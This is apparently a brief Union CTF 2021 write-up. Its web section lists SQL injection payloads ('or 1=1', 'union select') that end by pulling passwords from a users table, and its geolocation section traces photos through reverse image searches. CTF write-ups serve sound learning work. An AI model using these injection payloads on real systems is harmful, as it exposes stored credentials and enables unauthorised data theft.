Union CTF 2021 Write up

Web

Meet the Union Committee

./?id=1 or 1=1

./?id=;

 

 

./id=1 union select 1,2,3

 

./?id=1 union select 1,password,3 from users

 

GEOINT

Where in the World? (2)

i could see tram and high tower/building.

 

 

i searched tram in bing image search and i found a simillar one.

 

The content was completely different from the tram, but it was written in Polish.

 

Then I searched poland tram and i found a simillar one agian.

So, i was sure that the image was from poland.

 

I searched for Polish landmarks to find what the tall buildings in the picture were, and I could find something similar.

 

bingo!

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Where in the World? (3)

bing image search

i found simillar image and "San Francisco Armory"

 

same

 

google map

mission street, San Francisco, USA

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Where in the World? (5)

google image search